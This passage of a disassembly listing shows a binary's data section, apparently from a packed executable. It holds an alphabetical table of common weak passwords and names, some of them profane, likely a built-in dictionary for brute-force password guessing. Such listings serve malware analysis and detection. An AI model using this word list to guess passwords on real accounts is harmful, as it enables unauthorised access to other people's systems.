		align 10h
aFlorida	db 'florida',0          ; DATA XREF: nsp0:00425C18o
aFloat		db 'float',0            ; DATA XREF: nsp0:00425C14o
		align 10h
aFlakes		db 'flakes',0           ; DATA XREF: nsp0:00425C10o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: nsp0:00425C0Co
aFirewall	db 'firewall',0         ; DATA XREF: nsp0:00425C08o
		align 4
aFire		db 'fire',0             ; DATA XREF: nsp0:00425C04o
		align 4
aFinite		db 'finite',0           ; DATA XREF: nsp0:00425C00o
		align 4
aFile		db 'file',0             ; DATA XREF: nsp0:00425BFCo
		align 4
aFight		db 'fight',0            ; DATA XREF: nsp0:00425BF8o
		align 4
aField		db 'field',0            ; DATA XREF: nsp0:00425BF4o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: nsp0:00425BF0o
		align 10h
aFerrari	db 'ferrari',0          ; DATA XREF: nsp0:00425BECo
aFermat		db 'fermat',0           ; DATA XREF: nsp0:00425BE8o
		align 10h
aFender		db 'fender',0           ; DATA XREF: nsp0:00425BE4o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: nsp0:00425BE0o
aFeds		db 'feds',0             ; DATA XREF: nsp0:00425BDCo
		align 4
aFear		db 'fear',0             ; DATA XREF: nsp0:00425BD8o
		align 10h
aFast		db 'fast',0             ; DATA XREF: nsp0:00425BD4o
		align 4
aFart		db 'fart',0             ; DATA XREF: nsp0:00425BD0o
		align 10h
aFaraday	db 'faraday',0          ; DATA XREF: nsp0:00425BCCo
aFarad		db 'farad',0            ; DATA XREF: nsp0:00425BC8o
		align 10h
aFamily		db 'family',0           ; DATA XREF: nsp0:00425BC4o
		align 4
aFalse		db 'false',0            ; DATA XREF: nsp0:00425BC0o
		align 10h
aFalcon		db 'falcon',0           ; DATA XREF: nsp0:00425BBCo
		align 4
aFaith		db 'faith',0            ; DATA XREF: nsp0:00425BB8o
		align 10h
aFairway	db 'fairway',0          ; DATA XREF: nsp0:00425BB4o
aExtensio	db 'extensio',0         ; DATA XREF: nsp0:00425BB0o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: nsp0:00425BACo
		align 10h
aExplorer	db 'explorer',0         ; DATA XREF: nsp0:00425BA8o
		align 4
aExplore	db 'explore',0          ; DATA XREF: nsp0:00425BA4o
aExplode	db 'explode',0          ; DATA XREF: nsp0:00425BA0o
aExpert		db 'expert',0           ; DATA XREF: nsp0:00425B9Co
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: nsp0:00425B98o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: nsp0:00425B94o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: nsp0:00425B90o
		align 10h
aEstate		db 'estate',0           ; DATA XREF: nsp0:00425B8Co
		align 4
aEstablis	db 'establis',0         ; DATA XREF: nsp0:00425B88o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: nsp0:00425B84o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: nsp0:00425B80o
		align 4
aErin		db 'erin',0             ; DATA XREF: nsp0:00425B7Co
		align 4
aErika		db 'erika',0            ; DATA XREF: nsp0:00425B78o
		align 4
aErica		db 'erica',0            ; DATA XREF: nsp0:00425B74o
		align 4
aEric		db 'eric',0             ; DATA XREF: nsp0:00425B70o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: nsp0:00425B6Co
aEnzyme		db 'enzyme',0           ; DATA XREF: nsp0:00425B68o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: nsp0:00425B64o
		align 10h
aEnter		db 'enter',0            ; DATA XREF: nsp0:00425B60o
		align 4
aEnglish	db 'english',0          ; DATA XREF: nsp0:00425B5Co
aEngland	db 'england',0          ; DATA XREF: nsp0:00425B58o
aEngineer	db 'engineer',0         ; DATA XREF: nsp0:00425B54o
		align 4
aEngine		db 'engine',0           ; DATA XREF: nsp0:00425B50o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: nsp0:00425B4Co
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: nsp0:00425B48o
		align 10h
aEmily		db 'emily',0            ; DATA XREF: nsp0:00425B44o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: nsp0:00425B40o
aEmail		db 'email',0            ; DATA XREF: sub_401AC7+47C4o
					; nsp0:00425B3Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: nsp0:00425B38o
		align 10h
aElizabet	db 'elizabet',0         ; DATA XREF: nsp0:00425B34o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: nsp0:00425B30o
		align 4
aElectron	db 'electron',0         ; DATA XREF: nsp0:00425B2Co
		align 4
aElanor		db 'elanor',0           ; DATA XREF: nsp0:00425B28o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: nsp0:00425B24o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: nsp0:00425B20o
		align 10h
aEinsiein	db 'einsiein',0         ; DATA XREF: nsp0:00425B1Co
		align 4
aEileen		db 'eileen',0           ; DATA XREF: nsp0:00425B18o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: nsp0:00425B14o
		align 10h
aEgghead	db 'egghead',0          ; DATA XREF: nsp0:00425B10o
aEdwina		db 'edwina',0           ; DATA XREF: nsp0:00425B0Co
		align 10h
aEdwin		db 'edwin',0            ; DATA XREF: nsp0:00425B08o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: nsp0:00425B04o
		align 4
aEducation	db 'education',0        ; DATA XREF: nsp0:00425B00o
		align 10h
aEdition	db 'edition',0          ; DATA XREF: nsp0:00425AFCo
aEdit		db 'edit',0             ; DATA XREF: nsp0:00425AF8o
		align 10h
aEdinburg	db 'edinburg',0         ; DATA XREF: nsp0:00425AF4o
		align 4
aEdges		db 'edges',0            ; DATA XREF: nsp0:00425AF0o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: nsp0:00425AECo
		align 4
aEcho		db 'echo',0             ; DATA XREF: nsp0:00425AE8o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: nsp0:00425AE4o
		align 4
aEasy		db 'easy',0             ; DATA XREF: nsp0:00425AE0o
		align 4
aEasier		db 'easier',0           ; DATA XREF: nsp0:00425ADCo
		align 4
aEarth		db 'earth',0            ; DATA XREF: nsp0:00425AD8o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: nsp0:00425AD4o
		align 4
aEager		db 'eager',0            ; DATA XREF: nsp0:00425AD0o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: nsp0:00425ACCo
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: nsp0:00425AC8o
aDuncan		db 'duncan',0           ; DATA XREF: nsp0:00425AC4o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: nsp0:00425AC0o
		align 4
aDuke		db 'duke',0             ; DATA XREF: nsp0:00425ABCo
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: nsp0:00425AB8o
aDude		db 'dude',0             ; DATA XREF: nsp0:00425AB4o
		align 4
aDuck		db 'duck',0             ; DATA XREF: nsp0:00425AB0o
		align 4
aDrought	db 'drought',0          ; DATA XREF: nsp0:00425AACo
aDrive		db 'drive',0            ; DATA XREF: nsp0:00425AA8o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: nsp0:00425AA4o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: nsp0:00425AA0o
		align 4
aDownload	db 'download',0         ; DATA XREF: nsp0:00425A9Co
		align 10h
aDope		db 'dope',0             ; DATA XREF: nsp0:00425A98o
		align 4
aDoors		db 'doors',0            ; DATA XREF: nsp0:00425A94o
		align 10h
aDoor		db 'door',0             ; DATA XREF: nsp0:00425A90o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: nsp0:00425A8Co
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: nsp0:00425A88o
		align 10h
aDoomii		db 'doomii',0           ; DATA XREF: nsp0:00425A84o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: nsp0:00425A80o
		align 10h
aDoom		db 'doom',0             ; DATA XREF: nsp0:00425A7Co
		align 4
aDong		db 'dong',0             ; DATA XREF: nsp0:00425A78o
		align 10h
aDollar		db 'dollar',0           ; DATA XREF: nsp0:00425A74o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: nsp0:00425A70o
		align 10h
aDisplay	db 'display',0          ; DATA XREF: nsp0:00425A6Co
aDisney		db 'disney',0           ; DATA XREF: nsp0:00425A68o
		align 10h
aDiskette	db 'diskette',0         ; DATA XREF: nsp0:00425A64o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: nsp0:00425A60o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: nsp0:00425A5Co
		align 10h
aDisclose	db 'disclose',0         ; DATA XREF: nsp0:00425A58o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: nsp0:00425A54o
		align 4
aDisc		db 'disc',0             ; DATA XREF: nsp0:00425A50o
		align 10h
aDirty		db 'dirty',0            ; DATA XREF: nsp0:00425A4Co
		align 4
aDirector	db 'director',0         ; DATA XREF: nsp0:00425A48o
		align 4
aDirect		db 'direct',0           ; DATA XREF: nsp0:00425A44o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: nsp0:00425A40o
aDinosaur	db 'dinosaur',0         ; DATA XREF: nsp0:00425A3Co
		align 10h
aDigital	db 'digital',0          ; DATA XREF: nsp0:00425A38o
aDieter		db 'dieter',0           ; DATA XREF: nsp0:00425A34o
		align 10h
aDiet		db 'diet',0             ; DATA XREF: nsp0:00425A30o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: nsp0:00425A2Co
aDick		db 'dick',0             ; DATA XREF: nsp0:00425A28o
		align 4
aDice		db 'dice',0             ; DATA XREF: nsp0:00425A24o
		align 10h
aDiane		db 'diane',0            ; DATA XREF: nsp0:00425A20o
		align 4
aDiana		db 'diana',0            ; DATA XREF: nsp0:00425A1Co
		align 10h
aDiamond	db 'diamond',0          ; DATA XREF: nsp0:00425A18o
aDial		db 'dial',0             ; DATA XREF: nsp0:00425A14o
		align 10h
aDevice		db 'device',0           ; DATA XREF: nsp0:00425A10o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: nsp0:00425A0Co
aDesperat	db 'desperat',0         ; DATA XREF: nsp0:00425A08o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: nsp0:00425A04o
aDesk		db 'desk',0             ; DATA XREF: nsp0:00425A00o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: nsp0:004259FCo
aDennis		db 'dennis',0           ; DATA XREF: nsp0:004259F8o
		align 4
aDenise		db 'denise',0           ; DATA XREF: nsp0:004259F4o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: nsp0:004259F0o
		align 10h
aDeluge		db 'deluge',0           ; DATA XREF: nsp0:004259ECo
		align 4
aDelta		db 'delta',0            ; DATA XREF: nsp0:004259E8o
		align 10h
aDefoe		db 'defoe',0            ; DATA XREF: nsp0:004259E4o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: nsp0:004259E0o
aDeck		db 'deck',0             ; DATA XREF: nsp0:004259D8o
		align 4
aDecember	db 'december',0         ; DATA XREF: nsp0:004259D4o
		align 4
aDebug		db 'debug',0            ; DATA XREF: nsp0:004259D0o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: nsp0:004259CCo
aDebbie		db 'debbie',0           ; DATA XREF: nsp0:004259C8o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: nsp0:004259C4o
		align 4
aDead		db 'dead',0             ; DATA XREF: nsp0:004259C0o
		align 10h
aDawn		db 'dawn',0             ; DATA XREF: nsp0:004259BCo
		align 4
aDave		db 'dave',0             ; DATA XREF: nsp0:004259B8o
		align 10h
aData		db 'data',0             ; DATA XREF: nsp0:004259B4o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: nsp0:004259B0o
		align 4
aDark		db 'dark',0             ; DATA XREF: nsp0:004259ACo
		align 4
aDapper		db 'dapper',0           ; DATA XREF: nsp0:004259A8o
		align 4
aDanny		db 'danny',0            ; DATA XREF: nsp0:004259A4o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: nsp0:004259A0o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: nsp0:0042599Co
		align 10h
aDancer		db 'dancer',0           ; DATA XREF: nsp0:00425998o
		align 4
aDana		db 'dana',0             ; DATA XREF: nsp0:00425994o
		align 10h
aDaisy		db 'daisy',0            ; DATA XREF: nsp0:00425990o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: nsp0:0042598Co
		align 10h
aCynthia	db 'cynthia',0          ; DATA XREF: nsp0:00425988o
aCyberspa	db 'cyberspa',0         ; DATA XREF: nsp0:00425984o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: nsp0:00425980o
		align 10h
aCyber_1	db 'cyber',0            ; DATA XREF: nsp0:0042597Co
		align 4
aCustomer	db 'customer',0         ; DATA XREF: nsp0:00425978o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: nsp0:00425974o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: nsp0:00425970o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: nsp0:0042596Co
aCristina	db 'cristina',0         ; DATA XREF: nsp0:00425968o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: nsp0:00425964o
		align 4
aCrime		db 'crime',0            ; DATA XREF: nsp0:00425960o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: nsp0:0042595Co
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: nsp0:00425958o
		align 10h
aCredit		db 'credit',0           ; DATA XREF: nsp0:00425954o
		align 4
aCreature	db 'creature',0         ; DATA XREF: nsp0:00425950o
		align 4
aCreation	db 'creation',0         ; DATA XREF: nsp0:0042594Co
		align 10h
aCreate		db 'create',0           ; DATA XREF: nsp0:00425948o
		align 4
aCream		db 'cream',0            ; DATA XREF: nsp0:00425944o
		align 10h
aCrackpot	db 'crackpot',0         ; DATA XREF: nsp0:00425940o
		align 4
aCrack		db 'crack',0            ; DATA XREF: nsp0:0042593Co
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: nsp0:00425938o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: nsp0:00425934o
		align 4
aCountry	db 'country',0          ; DATA XREF: nsp0:00425930o
aCounters	db 'counters',0         ; DATA XREF: nsp0:0042592Co
		align 4
aCorrect	db 'correct',0          ; DATA XREF: nsp0:00425928o
aCorneliu	db 'corneliu',0         ; DATA XREF: nsp0:00425924o
		align 10h
aCopy		db 'copy',0             ; DATA XREF: nsp0:00425920o
		align 4
aCops		db 'cops',0             ; DATA XREF: nsp0:0042591Co
		align 10h
aCopper		db 'copper',0           ; DATA XREF: nsp0:00425918o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: nsp0:00425914o
		align 10h
aCool		db 'cool',0             ; DATA XREF: nsp0:00425910o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: nsp0:0042590Co
		align 10h
aCookbook	db 'cookbook',0         ; DATA XREF: nsp0:00425908o
		align 4
aCook		db 'cook',0             ; DATA XREF: nsp0:00425904o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401AC7+3D75o
					; nsp0:00425900o
		align 10h
aConsole	db 'console',0          ; DATA XREF: nsp0:004258FCo
aConserva	db 'conserva',0         ; DATA XREF: nsp0:004258F8o
		align 4
aConnie		db 'connie',0           ; DATA XREF: nsp0:004258F4o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_408CF8+53Bo
					; nsp0:004258F0o
aCondom		db 'condom',0           ; DATA XREF: nsp0:004258ECo
		align 4
aCondo		db 'condo',0            ; DATA XREF: nsp0:004258E8o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: nsp0:004258E4o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: nsp0:004258E0o
aComputin	db 'computin',0         ; DATA XREF: nsp0:004258DCo
		align 4
aCompany	db 'company',0          ; DATA XREF: nsp0:004258D8o
aCommrade	db 'commrade',0         ; DATA XREF: nsp0:004258D4o
		align 4
aCommit		db 'commit',0           ; DATA XREF: nsp0:004258D0o
		align 10h
aComics		db 'comics',0           ; DATA XREF: nsp0:004258CCo
		align 4
aCombat		db 'combat',0           ; DATA XREF: nsp0:004258C8o
		align 10h
aColor		db 'color',0            ; DATA XREF: nsp0:004258C4o
		align 4
aCollins	db 'collins',0          ; DATA XREF: nsp0:004258C0o
aCold		db 'cold',0             ; DATA XREF: nsp0:004258BCo
		align 4
aCola		db 'cola',0             ; DATA XREF: nsp0:004258B8o
		align 10h
aCoke		db 'coke',0             ; DATA XREF: nsp0:004258B4o
		align 4
aCoin		db 'coin',0             ; DATA XREF: nsp0:004258B0o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: nsp0:004258ACo
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: nsp0:004258A8o
		align 4
aCodename	db 'codename',0         ; DATA XREF: nsp0:004258A4o
		align 10h
aCode		db 'code',0             ; DATA XREF: nsp0:004258A0o
		align 4
aCock		db 'cock',0             ; DATA XREF: nsp0:0042589Co
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: nsp0:00425898o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: nsp0:00425894o
		align 4
aCoast		db 'coast',0            ; DATA XREF: nsp0:00425890o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: nsp0:0042588Co
		align 4
aCluster	db 'cluster',0          ; DATA XREF: nsp0:00425888o
aClinton	db 'clinton',0          ; DATA XREF: nsp0:00425884o
aCleavage	db 'cleavage',0         ; DATA XREF: nsp0:00425880o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: nsp0:0042587Co
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: nsp0:00425878o
aClassic	db 'classic',0          ; DATA XREF: nsp0:00425874o
aClasses	db 'classes',0          ; DATA XREF: nsp0:00425870o
aClass		db 'class',0            ; DATA XREF: nsp0:0042586Co
		align 4
aCindy		db 'cindy',0            ; DATA XREF: nsp0:00425868o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: nsp0:00425864o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: nsp0:00425860o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: nsp0:0042585Co
aChristin	db 'christin',0         ; DATA XREF: nsp0:00425858o
		align 4
aChris		db 'chris',0            ; DATA XREF: nsp0:00425854o
		align 4
aChip		db 'chip',0             ; DATA XREF: nsp0:00425850o
		align 4
aChester	db 'chester',0          ; DATA XREF: nsp0:0042584Co
aChess		db 'chess',0            ; DATA XREF: nsp0:00425848o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: nsp0:00425844o
		align 10h
aChem		db 'chem',0             ; DATA XREF: nsp0:00425840o
		align 4
aChat		db 'chat',0             ; DATA XREF: nsp0:0042583Co
		align 10h
aCharon		db 'charon',0           ; DATA XREF: nsp0:00425838o
		align 4
aCharming	db 'charming',0         ; DATA XREF: nsp0:00425834o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: nsp0:00425830o
aCharles	db 'charles',0          ; DATA XREF: nsp0:0042582Co
aCharity	db 'charity',0          ; DATA XREF: nsp0:00425828o
aChange		db 'change',0           ; DATA XREF: nsp0:00425824o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: nsp0:00425820o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: nsp0:0042581Co
aCeltic		db 'celtic',0           ; DATA XREF: nsp0:00425818o
		align 10h
aCelt		db 'celt',0             ; DATA XREF: nsp0:00425814o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: nsp0:00425810o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: nsp0:0042580Co
		align 4
aCave		db 'cave',0             ; DATA XREF: nsp0:00425808o
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: nsp0:00425804o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: nsp0:00425800o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: nsp0:004257FCo
		align 10h
aCastle		db 'castle',0           ; DATA XREF: nsp0:004257F8o
		align 4
aCash		db 'cash',0             ; DATA XREF: nsp0:004257F4o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: nsp0:004257F0o
		align 4
aCarson		db 'carson',0           ; DATA XREF: nsp0:004257ECo
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: nsp0:004257E8o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: nsp0:004257E4o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: nsp0:004257E0o
		align 4
aCarole		db 'carole',0           ; DATA XREF: nsp0:004257DCo
		align 4
aCarol		db 'carol',0            ; DATA XREF: nsp0:004257D8o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: nsp0:004257D4o
		align 4
aCarla		db 'carla',0            ; DATA XREF: nsp0:004257D0o
		align 4
aCaren		db 'caren',0            ; DATA XREF: nsp0:004257CCo
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: nsp0:004257C8o
		align 4
aCard		db 'card',0             ; DATA XREF: nsp0:004257C4o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: nsp0:004257C0o
aCaptain	db 'captain',0          ; DATA XREF: nsp0:004257BCo
aCantor		db 'cantor',0           ; DATA XREF: nsp0:004257B8o
		align 4
aCandy		db 'candy',0            ; DATA XREF: nsp0:004257B4o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: nsp0:004257B0o
		align 4
aCamping	db 'camping',0          ; DATA XREF: nsp0:004257ACo
aCampanil	db 'campanil',0         ; DATA XREF: nsp0:004257A8o
		align 4
aCamille	db 'camille',0          ; DATA XREF: nsp0:004257A4o
aCaliforn	db 'californ',0         ; DATA XREF: nsp0:004257A0o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: nsp0:0042579Co
		align 4
aButt		db 'butt',0             ; DATA XREF: nsp0:00425798o
		align 4
aButch		db 'butch',0            ; DATA XREF: nsp0:00425794o
		align 4
aBurn		db 'burn',0             ; DATA XREF: nsp0:00425790o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: nsp0:0042578Co
aBung		db 'bung',0             ; DATA XREF: nsp0:00425788o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: nsp0:00425784o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: nsp0:00425780o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: nsp0:0042577Co
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: nsp0:00425778o
		align 10h
aBrute		db 'brute',0            ; DATA XREF: nsp0:00425774o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: nsp0:00425770o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: nsp0:0042576Co
aBroadway	db 'broadway',0         ; DATA XREF: nsp0:00425768o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: nsp0:00425764o
aBrian		db 'brian',0            ; DATA XREF: nsp0:00425760o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: nsp0:0042575Co
		align 10h
aBreast		db 'breast',0           ; DATA XREF: nsp0:00425758o
		align 4
aBreak		db 'break',0            ; DATA XREF: nsp0:00425754o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: nsp0:00425750o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: nsp0:0042574Co
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: nsp0:00425748o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: nsp0:00425744o
aBoyscout	db 'boyscout',0         ; DATA XREF: nsp0:00425740o
		align 4
aBorn		db 'born',0             ; DATA XREF: nsp0:0042573Co
		align 4
aBook		db 'book',0             ; DATA XREF: nsp0:00425738o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: nsp0:00425734o
		align 4
aBoob		db 'boob',0             ; DATA XREF: nsp0:00425730o
		align 4
aBoner		db 'boner',0            ; DATA XREF: nsp0:0042572Co
		align 4
aBomb		db 'bomb',0             ; DATA XREF: nsp0:00425728o
		align 4
aBoard		db 'board',0            ; DATA XREF: nsp0:00425724o
		align 4
aBlues		db 'blues',0            ; DATA XREF: nsp0:00425720o
		align 4
aBlue		db 'blue',0             ; DATA XREF: nsp0:0042571Co
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: nsp0:00425718o
aBlow		db 'blow',0             ; DATA XREF: nsp0:00425714o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: nsp0:00425710o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: nsp0:0042570Co
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: nsp0:00425708o
aBlonde		db 'blonde',0           ; DATA XREF: nsp0:00425704o
		align 4
aBlack		db 'black',0            ; DATA XREF: nsp0:00425700o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: nsp0:004256FCo
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: nsp0:004256F8o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: nsp0:004256F4o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: nsp0:004256F0o
		align 10h
aBird		db 'bird',0             ; DATA XREF: nsp0:004256ECo
		align 4
aBios		db 'bios',0             ; DATA XREF: nsp0:004256E8o
		align 10h
aBinary		db 'binary',0           ; DATA XREF: nsp0:004256E4o
		align 4
aBill		db 'bill',0             ; DATA XREF: nsp0:004256E0o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: nsp0:004256DCo
aBicamera	db 'bicamera',0         ; DATA XREF: nsp0:004256D8o
		align 4
aBible		db 'bible',0            ; DATA XREF: nsp0:004256D4o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: nsp0:004256D0o
aBetty		db 'betty',0            ; DATA XREF: nsp0:004256CCo
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: nsp0:004256C8o
		align 4
aBeth		db 'beth',0             ; DATA XREF: nsp0:004256C4o
		align 4
aBeta		db 'beta',0             ; DATA XREF: nsp0:004256C0o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: nsp0:004256BCo
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: nsp0:004256B8o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: nsp0:004256B4o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: nsp0:004256B0o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: nsp0:004256ACo
aBenz		db 'benz',0             ; DATA XREF: nsp0:004256A8o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: nsp0:004256A4o
aBell		db 'bell',0             ; DATA XREF: nsp0:004256A0o
		align 4
aBehead		db 'behead',0           ; DATA XREF: nsp0:0042569Co
		align 4
aBegin		db 'begin',0            ; DATA XREF: nsp0:00425698o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: nsp0:00425694o
		align 4
aBecky		db 'becky',0            ; DATA XREF: nsp0:00425690o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: nsp0:0042568Co
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: nsp0:00425688o
		align 10h
aBeater		db 'beater',0           ; DATA XREF: nsp0:00425684o
		align 4
aBeast		db 'beast',0            ; DATA XREF: nsp0:00425680o
		align 10h
aBear		db 'bear',0             ; DATA XREF: nsp0:0042567Co
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: nsp0:00425678o
		align 4
aBeach		db 'beach',0            ; DATA XREF: nsp0:00425674o
		align 4
aBatman		db 'batman',0           ; DATA XREF: nsp0:00425670o
		align 4
aBatch		db 'batch',0            ; DATA XREF: nsp0:0042566Co
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: nsp0:00425668o
aBass		db 'bass',0             ; DATA XREF: nsp0:00425664o
		align 4
aBasic		db 'basic',0            ; DATA XREF: nsp0:00425660o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: nsp0:0042565Co
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: nsp0:00425658o
aBart		db 'bart',0             ; DATA XREF: nsp0:00425654o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: nsp0:00425650o
		align 4
aBarf		db 'barf',0             ; DATA XREF: nsp0:0042564Co
		align 4
aBare		db 'bare',0             ; DATA XREF: nsp0:00425648o
		align 4
aBarber		db 'barber',0           ; DATA XREF: nsp0:00425644o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: nsp0:00425640o
aBanks		db 'banks',0            ; DATA XREF: nsp0:0042563Co
		align 4
aBank		db 'bank',0             ; DATA XREF: nsp0:00425638o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: nsp0:00425634o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: nsp0:00425630o
aBanana		db 'banana',0           ; DATA XREF: nsp0:0042562Co
		align 4
aBall		db 'ball',0             ; DATA XREF: nsp0:00425628o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: nsp0:00425624o
		align 4
aBadass		db 'badass',0           ; DATA XREF: nsp0:00425620o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: nsp0:0042561Co
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: nsp0:00425618o
aBaby		db 'baby',0             ; DATA XREF: nsp0:00425614o
		align 4
aBabe		db 'babe',0             ; DATA XREF: nsp0:00425610o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: nsp0:0042560Co
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: nsp0:00425608o
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: nsp0:00425604o
		align 4
aAttack		db 'attack',0           ; DATA XREF: nsp0:00425600o
		align 4
aAtom		db 'atom',0             ; DATA XREF: nsp0:004255FCo
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: nsp0:004255F8o
